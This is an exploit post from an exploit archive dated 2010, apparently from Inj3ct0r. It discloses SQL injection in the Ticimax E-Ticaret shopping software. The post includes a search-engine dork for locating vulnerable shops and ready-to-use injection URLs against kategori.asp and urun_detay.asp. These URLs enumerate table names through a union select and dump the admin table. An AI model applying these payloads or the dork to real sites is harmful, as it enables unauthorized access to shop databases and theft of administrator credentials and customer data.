Home / os / win7

Ticimax E-Ticaret SQL Injection Vulnerability

Posted on 01 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Ticimax E-Ticaret SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================
Ticimax E-Ticaret SQL Injection Vulnerability
=============================================


#####################
# Author: [Neuromancer]
# contact : msn[at]neurom4ncer[dot]com
# From : TURKEY
#####################
 
 
Ticimax e-ticaret ( Kategori.asp, urun_detay.aspLocal SQL Injection Vulnerability
 
Dork : &quot;Bu Site Ticimax E-Ticaret yaz&amp;#305;l&amp;#305;m&amp;#305; ile haz&amp;#305;rlanm&amp;#305;&amp;#351;t&amp;#305;r&quot;
 
 
======================================================================
 
                       --=[ Vuln C0de ]=-
  
                               [-] localhost/kategori.asp?id='
                               [-] localhost/urun_detay.asp?id='
 
http://[Site].com/kategori.asp?id=1 order by 1
http://[Site].com/kategori.asp?id=1 union select x,x,group_concat(table_name)+from+information.schema.tables
 
or
 
http://[Site].com/kategori.asp?id=1 union select * from admin
 
=========================| -=[ Attackerz Crew co. ]=- |=========================
 
Gr33t'z; h4cker.tr, by_fatih, by.kiki, TheNesa, RedMasTeR


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-01]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :